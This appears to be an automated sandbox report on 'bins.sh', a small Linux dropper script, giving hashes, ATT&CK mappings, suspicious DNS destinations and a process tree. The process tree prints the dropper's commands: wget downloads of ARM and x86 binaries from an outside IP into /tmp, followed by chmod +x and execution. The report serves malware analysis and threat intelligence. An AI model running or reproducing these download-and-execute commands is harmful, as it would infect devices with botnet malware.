5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a

General

Target
bins.sh
Size 402B
Sample260710-pd59fsbs5m
SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
MD5 7e191799f2483510e894d8e0d30915cf
SHA1 43b4451a70caf878cac45d117e64636e59273e32
SHA512 81e9fea749ef14ddaf9fcd3c0db1f79f26ad407818929fd8dc12f0df64e2fbfbaad71e24192c23c62a2a6c05fb0ed28bd3b768db1b74ccaf4f43050d979b363f
TLSH
T10EE02BE6A8924072DC8848DB55BBC98F114010231810355C703F693867DD5D5A975FFA
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
749	chmod
752	chmod
755	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/arm	747	bins.sh
/tmp/arm5	750	bins.sh
/tmp/arm6	753	bins.sh
/tmp/arm7	756	bins.sh

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	94.16.114.254
Destination IP	134.195.4.2

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/tcp	arm6

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/tcp	arm6

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/fd	arm5
File opened for reading	/proc/168/fd	arm5
File opened for reading	/proc/226/fd	arm5
File opened for reading	/proc/288/fd	arm5
File opened for reading	/proc/300/fd	arm5
File opened for reading	/proc/339/fd	arm5
File opened for reading	/proc/579/fd	arm5
File opened for reading	/proc/586/fd	arm5
File opened for reading	/proc/289/fd	arm5
File opened for reading	/proc/290/fd	arm5
File opened for reading	/proc/304/fd	arm5
File opened for reading	/proc/564/fd	arm5
File opened for reading	/proc/577/fd	arm5
File opened for reading	/proc/631/fd	arm5
File opened for reading	/proc/642/fd	arm5
File opened for reading	/proc/145/fd	arm5
File opened for reading	/proc/316/fd	arm5
File opened for reading	/proc/303/fd	arm5
File opened for reading	/proc/323/fd	arm5
File opened for reading	/proc/588/fd	arm5
File opened for reading	/proc/650/fd	arm5
File opened for reading	/proc/747/fd	arm5

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/x86	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:642
- /usr/bin/wget
  wget http://156.226.174.98/release/arm -O /tmp/arm
  2⤵
  - Writes file to tmp directory
  PID:644
- /bin/chmod
  chmod +x /tmp/arm
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /usr/bin/wget
  wget http://156.226.174.98/release/arm5 -O /tmp/arm5
  2⤵
  - Writes file to tmp directory
  PID:748
- /tmp/arm
  /tmp/arm aterna
  2⤵
  PID:747
- /bin/chmod
  chmod +x /tmp/arm5
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /usr/bin/wget
  wget http://156.226.174.98/release/arm6 -O /tmp/arm6
  2⤵
  - Writes file to tmp directory
  PID:751
- /tmp/arm5
  /tmp/arm5 aterna
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:750
- /bin/chmod
  chmod +x /tmp/arm6
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /usr/bin/wget
  wget http://156.226.174.98/release/arm7 -O /tmp/arm7
  2⤵
  - Writes file to tmp directory
  PID:754
- /tmp/arm6
  /tmp/arm6 aterna
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  PID:753
- /bin/chmod
  chmod +x /tmp/arm7
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /usr/bin/wget
  wget http://156.226.174.98/release/x86 -O /tmp/x86
  2⤵
  - Writes file to tmp directory
  PID:757
- /tmp/arm7
  /tmp/arm7 aterna
  2⤵
  PID:756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

System Network Connections Discovery

1

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 221KB
SHA256 c3cd074bbfecf4a56c59eec4a096fe6fcbe926430da315e35237254c4c630904
MD5 9771980c1ad5c2cb70f84c52dc361705
SHA1 7642c6d8a713f36e2c1b5d803a8f908bbf94fc66
SHA512 3ac5250d37db87f1cde5dd5345295b2c8388082bd12f5d28e3f2c7873e498fae5801daaf5bccdc1e7db20b248f00ebab1bf15f6f5c17471b7497c74eeb63d6a7
SSDEEP 6144:BFRCgIulf0fgkrAKQYRcrQg7lyDIKiKH3vtZmLE1SMyV+lH1:BFRCHLrAcq16IKiKH3vtwLE1SMyV+lH1
TLSH
T1FD242B01BD518F53C5D32BBBB79F42993732672887EB7302DA18BE742F4669D0E26211
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 213KB
SHA256 d296143aaf778fca82be5082e64f3fc891b8b2b4d43fb7137bccd217b5412c21
MD5 9759bd0a64b27e5e69eb07921e511e92
SHA1 e5f2315e582f89dc5326f0e502f511287e8721da
SHA512 a4673818d2bd9ec1038a2c2c0bc96e56b76fc46487362eed1d30496a427f5a054b260b2c499e821f3ca4632d7c2c832f09ed40b1f075446751a2e71c9ec8d42f
SSDEEP 6144:rlTTPssqxAniq63lJ+91ry2KJKHtEqZ06L18Hts1QS1:rlTzCxAiVJa1dKJKHtEqC6L18Hts1QS1
TLSH
T16B240B01B8518F53C5C32BBBF7DF42993736671497DB7302EA24AEB42F4669D1E2A201
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 229KB
SHA256 9778402987f2f9aabcf79e09c51fba3a7aacaf288018dc0b3921d3dcf2455b00
MD5 90e43492ca0c94ace542c8e722b86961
SHA1 5bacd5705b9d63f30da39d5c9d2bd4a07dc9a75c
SHA512 6a5ac0efa4a4292095b78512a7c929747f6e21ba41ce962638adb22fbdfdbaea0494baf68264ab09451927989b2a3ffb363d7feb57e40730d4839d86d7f6aa1c
SSDEEP 6144:SA8xA+psxz/f/a7gEbHzuayTvouLrnmW2hVDZI0/16O7Nc:SFxGxbf/ahbTuaajnmW2hVD60/16O7Nc
TLSH
T1E1341902A9528A53C5C21B79BB5F465A3733AB34D3DB3302DA14AFB42F47ADE0E39511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /tmp/arm7
Size 209KB
SHA256 bd8e42c47822fa2624ad08ef4adfd8b82147ebb4afa09a1ae87acf6b238b2008
MD5 579a998389019a687d81b7919d486b99
SHA1 8a2d3e4fd13e0812f248192c3522a5a55f9be6ec
SHA512 489cc5859e0e38cb33908045e2d11d1b0fd852f48953aaaf80a23cc605cc90c89d94375b7c1abf2ca79fe6508c4fca4374b0db2b8207d1ddd6b6267ceb8bcf80
SSDEEP 6144:Yd0yx05aLF3dGegaEUV8nauQd//ukTSHKQdM/RizGy:YSydxdGegaLV8nauQlGw7Qm/UzGy
TLSH
T1C0243A46AA408B13C4D72BBAFBDF425633339B54D7E723059528AFB43F8679A4F22501
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads